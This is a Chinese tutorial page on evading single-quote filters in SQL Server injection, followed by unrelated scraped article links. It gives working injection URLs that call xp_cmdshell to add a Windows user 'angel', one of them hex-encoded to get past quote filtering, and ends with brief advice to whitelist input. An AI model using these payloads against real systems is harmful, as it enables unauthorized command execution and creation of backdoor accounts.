oracle注入过滤了单引号,sql绕过单引号限制继续注入的解决方法
在防范sql注入时,对变量过滤不足甚至没有过滤而构造畸形SQL语句,极有可能被成功注入,比如下面这行sql,相当轻松就注入成功了:
代码示例:
http://www./show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--
大家可能觉得变量过滤了'就可以防止SQL Injection攻击,仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:
代码示例:
http://www./show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大区别?可是效果完全是一样的,其实这些都是SQL语句。
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
这句是“net user angel pass /add”的16进制格式。
先声明一个变量a,然后把指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
代码示例:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
解决办法:
过滤变量,限制只允许输入特定字符。
比如对于数字类型的变量就限制只能输入数字类型的数据。
具体在程序中的操作方法,大家在编程时自行实践与总结,从细节入手,对于防范sql 注入务必处处用心啊。
oracle注入过滤了单引号,sql绕过单引号限制继续注入的解决方法相关推荐
- c语输入单引号_c语言单引号的用法指导
c语言单引号的用法指导 C语言中用单引号引起的一个字符实际上代表一个整数,整数值对应于该字符在编译器采用的字符集中的序列值.而一般我们的编译器采用的都是ASCII字符集.因此's'的含义其实和十进制数 ...
- 描述linux shell单引号,Linux shell 单引号和双引号
在编写shell脚本的时候经常会用到引号,有些时候却老是忘记单引号和双引号之间的区别, 所以就整理一下供以后脑子不好使了的时候前来复习一下.首先说下他们的共同点: 好像就只有 一个,就是它们都可以用来 ...
- Python中单引号,双引号,三个单引号,外双单引号内双引号,外双引号内单引号的区别...
Python 中一对单引号和一对双引号都可表示一个字符串: 1 Str1 = 'python' 2 Str2 = "python" 思考? 如何表示字符串: I ' am a py ...
- python方括号里面单引号_Python中单引号,双引号,三个单引号,外双单引号内双引号,外双引号内单引号的区别...
Python 中一对单引号和一对双引号都可表示一个字符串: 1 Str1 = 'python' 2 Str2 = "python" 思考? 如何表示字符串: I ' am a py ...
- 使用变量时,单引号、双引号、反向单引号的区别
单引号,双引号,反向单引号的区别: 1.单引号:当变量内容用单引号('')时,对里面的命令echo和变量USER都无法识别,只识别成字符串本身,称之为强引用. 2.双引号:当变量内容用双引号(&quo ...
- (转)SQL Server数据库复制错误的原因及解决方法
在使用SQL Server数据库中,有时在复制时会出现错误,下面就为你分类介绍SQL Server数据库复制错误的原因及解决方法,希望对您学习SQL Server数据库有所帮助. 错误 消息 MSSQ ...
- SQL Sever2012 创建表时发生“未指定错误”解决方法
@[TOC]( SQL Sever2012 创建表时发生"未指定错误"解决方法 下载SQL2012,界面一般,而且从第二次使用时就发现,第一次创建的数据库都打不开,说是什么位置移动 ...
- linux终端反引号怎么使用,单引号、双引号和反引号使用方法
首先向马哥和马哥团队敬个礼,谢谢你们带我进入Linux的世界,刚开始接触linux时,经常看到单引号.双引号和反引号特殊符号,经常搞混淆和误用,应该用双引号,有时用到单引号.经过几天的混乱引用,总算搞 ...
- SQL SERVER 2005 数据库状态为“可疑”的解决方法(转)
SQL SERVER 2005 数据库状态为"可疑"的解决方法(转) 2010-01-04 15:10 在被设置为"可疑"后很纳闷,之前没有遇到此类情况,问了几 ...
最新文章
- java中的排序算法——归并排序
- Docker部署脚本
- THE QUESTIONS :The Top 25 (what we don't know?)
- WordPress打开速度很慢的解决方法
- spring容器注入一个接口的两个实现类
- centos6安装mysql并远程连接_Ubantu下MySQL安装、部署和远程连接
- Vue过滤器_使用过滤器进行数据格式化操作---vue工作笔记0015
- 华为等上榜全球100大最具影响力企业;猫扑关闭发帖功能;亚马逊要给逾50万名员工加薪 |极客头条...
- Ubuntu U盘终于见到了它的主人
- 网络通信学习(四)——通过接入网进入互联网内部,探索接入网和网络运营商
- PT6303加充电电路的一套原理图
- 尚硅谷 尚医通学习笔记
- 小鼠大脑解剖图分区_科学家们绘制小鼠大脑的详细3D结构图谱
- python前端——HTML超文本标记语言、CSS层叠样式表
- 计算机基础知识(基础入门小白专属)五
- SpringBoot框架中的DAO(mapper)层、Entity层、Service层、Controller层
- 【前端三分钟】利用Javascript实现打字效果
- 幼儿园教案我和计算机比本领,幼儿园大班教案《谁的本领大》
- M35J型多普勒流量计使用说明书
- 深圳软件测试培训:Js中的变量
热门文章
- JVM系列(一)--JVM运行时数据区
- linux 虚拟机添加网卡
- 什么样的项目是成功的?
- 2021重庆高考成绩名次排名查询,重庆高考排名对应大学-重庆高考位次大学(2021年理科)...
- python项目如何上线_django项目部署上线(示例代码)
- pythonint函数的参数_向嵌入的Python函数传递两个参数(int和array)
- c语言存储类_C编程语言的存储类
- Java ArrayList contains()方法及示例
- 编程 mcq_MCQ | 8255 PPI(可编程外围接口)
- rhcs集群套件—红帽6的高可用